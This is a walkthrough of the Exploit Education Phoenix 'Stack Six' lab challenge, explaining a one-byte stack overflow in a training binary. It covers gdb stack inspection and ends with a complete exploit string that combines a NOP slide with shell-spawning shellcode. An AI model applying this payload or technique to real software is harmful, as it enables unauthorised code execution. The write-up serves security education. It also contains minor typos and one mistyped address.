Exploit Education Phoenix : Stack Six
Table of Contents
Exploit Education Phoenix - This article is part of a series.
Overview of the challenge #
The aim of the Phoenix challenges is to analyse the source code of an executable in order to find and exploit a vulnerability. This first series of challenges concerns the stack.
The first thing to do is to analyse the executable’s source code. Looking for a vulnerability to exploit.
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
This challenge is the last in the stack series, so it’s the hardest challenge in the series. The aim of this final challenge is to exploit a one-byte overflow. As with the previous challenge, to succeed we have to open a shell by executing shellcode.
The first thing you notice is the use of the getenv
function, which is used to retrieve the value of an environment variable. This value is then used to call the greet
function.
So we need to take a closer look at the greet
function. This function allocates a buffer of 128 bytes, then checks that the size of the value of the environment variable ExploitEducation
does not exceed the size of the buffer. However, you can see that in the rest of the function, it calls the strcpy
function and the strncpy
function. Calling the strcpy
function allows the contents of the what
variable to be written to the buffer, then the strncpy
function writes the contents of the environment variable to the buffer, limiting the number of characters to the maximum size of the buffer. Note that even when using the strcpy
function, it is possible to write outside the buffer since the strncpy
function takes buffer + strlen(buffer)
as the destination address. The first thing to do is check whether we can rewrite the return value with this buffer overflow.
The first thing to do is to find the return address.
$ gdb stack-six
$ disass main
So we now know that the return address is: 0x00000000004007E9
. Now we have to try and rewrite this value in the stack, so we place a breakpoint just after the call to the strncpy
function to inspect the stack.
$ export ExploitEducation=$(python -c "print 'A'*127")
$ gdb stack-six
$ disass greet
$ b *0x0000000000400782
$ x/100x $rsp
We can see that we can only modify the last byte of the address of the ebp
register, which is stored just before the return address. We therefore need to find a solution to exploit this vulnerability to execute our shellcode.
Exploiting the vulnerability #
show env
command to show environment variables and unset env <var_name>
to remove an environment variable. In my case. I had to remove the variables LINES
and COLUMNS
.The first thing we notice is that we can change the value of the ebp
register from address: 0x7FFFFFE500
to address 0x7FFFFFE5FF
.
If we analyse the main
function, we can see that the value of the environment variable is stored in the stack.
The way to exploit a one-byte overflow is to modify the value of the ebp
register present in the stack so that when a leave
instruction is executed, the rsp
register takes the value of the corrupted rbp
register and finally when the ret
instruction which follows the leave
instruction retrieves the return address from the stack, the stack retrieves the return address from the rsp
register which has just been corrupted. If you’re looking for more information on how a one-byte overflow works, I invite you to read this.
We can now analyse the stack.
$ export ExploitEducation=$(python -c "print 'A'*127")
$ gdb stack-six
$ disass main
$ b *0x00000000004007c2
$ r
$ disass greet
$ b *0x0000000000400791
$ c
$ x/50xg $rsp
Thanks to the stack analysis we now know that the address of the characters we have entered is 0x7FFFFFFFE5D8
. We can use this address to run our shellcode, since we can reach this address by changing the value of the ebp
registry to 0x7FFFFFFE5D0
.
Constructing the malicious string #
We now have all we need to exploit the vulnerability. We can create our malicious string by setting the environement variable with a NOP
slide of 50 insctruction, then with a shellcode of 57 bytes that open a shell and 19 NOP
to reach the ebp
register. finally, we change the LSB of the ebp
register by 0XD0
.
$ export ExploitEducation=$(python -c "print '\x90'*50 + '\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05' + '\x90'*19 + '\xD0'")
$ ./stack-six
Finally, we can see that we’ve opened a new shell, so we’ve succeeded in our challenge.